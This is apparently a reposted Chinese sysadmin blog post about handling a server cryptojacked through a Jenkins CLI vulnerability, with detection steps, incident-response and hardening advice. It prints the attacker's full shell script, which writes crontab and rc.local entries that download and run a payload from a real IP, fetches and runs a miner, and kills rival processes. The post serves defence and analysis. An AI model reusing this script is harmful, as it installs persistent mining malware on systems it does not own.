突然手机报警就响了,显示负载高,立即登录服务器查看,第一眼的就识别到了,服务器被挖矿了。安全总是相对的,再安全的服务器也有可能遭受到攻击。作为一个安全运维人员,要把握的原则是:尽量做好系统安全防护,修复所有已知的危险行为,同时,在系统遭受攻击后能够迅速有效地处理攻击行为,最大限度地降低攻击对系统产生的影响接下来是我整个解决思路。
如图:发现通过jenkins用户启动挖矿程序
本次是由于jenkins漏洞导致,这个漏洞是Jenkins cli带来的远程执行漏洞,会被利用自动执行一个挖矿程序,导致你的服务器占用cpu率高
通过netstat -anp 找到挖矿程序连接的地址
1.1 过滤执行的脚本
通过服务器被挖矿,你kill上面的进程是不管用的,因为它这里有一个后台执行的脚本,脚本里面写的是一个死循环,你kill掉那个进程,休息五秒自己就起来了。之前我看过挖矿的脚本进行分析的。
这里附上挖矿的脚本,大家可以自己分析下。
#!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { /bin/ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid do kill -9 $procid done crontab -l | sed '/212.237.2.23/d' | crontab - crontab -l | sed '/94.177.187.110/d' | crontab - pkill -f biosetjenkins ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9 ps ax|grep -o './[0-9]* -c'| xargs pkill -f pkill -f Loopback pkill -f apaceha pkill -f cryptonight ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9 ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9 pkill -f 45.76.102.45 pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f sleep pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f 108.61.186.224 pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9; pkill -f 45.76.146.166 pkill -f irqbalanc1 pkill -f 188.120.247.175 rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/conns rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -f /tmp/irq } function writecrontab() { xcrontab=$(cat /etc/crontab | grep "http://207.246.68.21/rootv2.sh" | grep -v grep |wc -l) if [ $xcrontab -eq 0 ];then echo "0 0 * * * root curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm /etc/root.sh.* ; bash /etc/root.sh &" >> /etc/crontab else echo "" fi } function writerc() { x=$(cat /etc/rc.local | grep "http://207.246.68.21/rootv2.sh" | grep -v grep | wc -l) if [ $x -eq 0 ];then $(sed -i "s/exit 0//g" /etc/rc.local) $(sed -i "s/bash /etc/root.sh//g" /etc/rc.local) echo "curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh" >> /etc/rc.local echo "exit 0" >> /etc/rc.local else echo "" fi } function hugepage() { echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=128 } function downloadyam() { if [ ! -f "sourplum" ] ;then curl http://207.246.68.21/sourplum > sourplum && chmod +x sourplum if [ ! -f "sourplum" ] ;then wget http://207.246.68.21/sourplum && chmod +x sourplum rm -rf sourplum.* #这个是删除假的 没有用 fi ./sourplum & #最后的目的是执行这个文件 else writecrontab writerc p=$(ps aux | grep sourplum | grep -v grep | wc -l) if [ ${p} -eq 1 ];then echo "sourplum" elif [ ${p} -eq 0 ];then ./sourplum & else echo "" fi fi } hugepage while [ 1 ] do kills downloadyam sleep 5 done
1.2 检查定时任务
切记,这里只是查看的当前的定时任务,还要检查cat /etc/crontab 配置文件,很多时候,它是添加到了配置文件
。
1.3 检查rc.local
1.4 检查history操作历史
1.5 检查登录日志及系统日志
/var/log/secure 登录安全日志 /var/log/message 系统日志
1.6 处理服务器被黑的几种思路
1、处理服务器遭受攻击的一般思路 系统遭受攻击并不可怕,可怕的是面对攻击束手无策,下面就详细介绍下在服务器遭受攻击后的一般处理思路。 (1)切断网络 所有的攻击都来自于网络,因此,在得知系统正遭受黑客的攻击后,首先要做的就是断开服务器的网络连接,这样除了能切断攻击源之外,也能保护服务器所在网络的其他主机。 (2)查找攻击源 可以通过分析系统日志或登录日志文件,查看可疑信息,同时也要查看系统都打开了哪些端口,运行哪些进程,并通过这些进程分析哪些是可疑的程序。这个过程要根据经验和综合判断能力进行追查和分析。下面会详细介绍这个过程的处理思路。 (3)分析入侵原因和途径 既然系统遭到入侵,那么原因是多方面的,可能是系统漏洞,也可能是程序漏洞,一定要查清楚是哪个原因导致的,并且还要查清楚遭到攻击的途径,找到攻击源,因为只有知道了遭受攻击的原因和途径,才能删除攻击源同时进行漏洞的修复。 (4)备份用户数据 在服务器遭受攻击后,需要立刻备份服务器上的用户数据,同时也要查看这些数据中是否隐藏着攻击源。如果攻击源在用户数据中,一定要彻底删除,然后将用户数据备份到一个安全的地方。 (5)重新安装系统 永远不要认为自己能彻底清除攻击源,因为没有人能比黑客更了解攻击程序,在服务器遭到攻击后,最安全也最简单的方法就是重新安装系统,因为大部分攻击程序都会依附在系统文件或者内核中,所以重新安装系统才能彻底清除攻击源。 (6)修复程序或系统漏洞 在发现系统漏洞或者应用程序漏洞后,首先要做的就是修复系统漏洞或者更改程序bug,因为只有将程序的漏洞修复完毕才能正式在服务器上运行。 (7)恢复数据和连接网络 将备份的数据重新复制到新安装的服务器上,然后开启服务,最后将服务器开启网络连接,对外提供服务。 2、检查并锁定可疑用户 当发现服务器遭受攻击后,首先要切断网络连接,但是在有些情况下,比如无法马上切断网络连接时,就必须登录系统查看是否有可疑用户,如果有可疑用户登录了系统,那么需要马上将这个用户锁定,然后中断此用户的远程连接。
1.7 对系统进行安全防护
1. 修改默认账号密码及端口如(sshd) 2. 隐藏真实服务器的外网地址,及外网暴露端口尽可能的少 3. 取消不必要的服务 4. 升级Jenkins CLI 5. 对web进行代码审计,防止SQL注入 6. 限制系统的登录 7. 进行防火墙安全设置 8. 防止SSH等暴力破解
1.8 挖矿病毒的原理分析
1. 通过定时任务去下载远程的脚本程序 2. 通过脚本,执行守护进程程序,占用服务器资源cpu 3. 发现占用进程的程序kill掉,它会自动起来,找到执行脚本,杀掉根源。切记对定时任务和rc.local进行检查和可以进程。
原文地址:http://blog.51cto.com/kaile/2065900
时间: 2024-10-08 09:29:58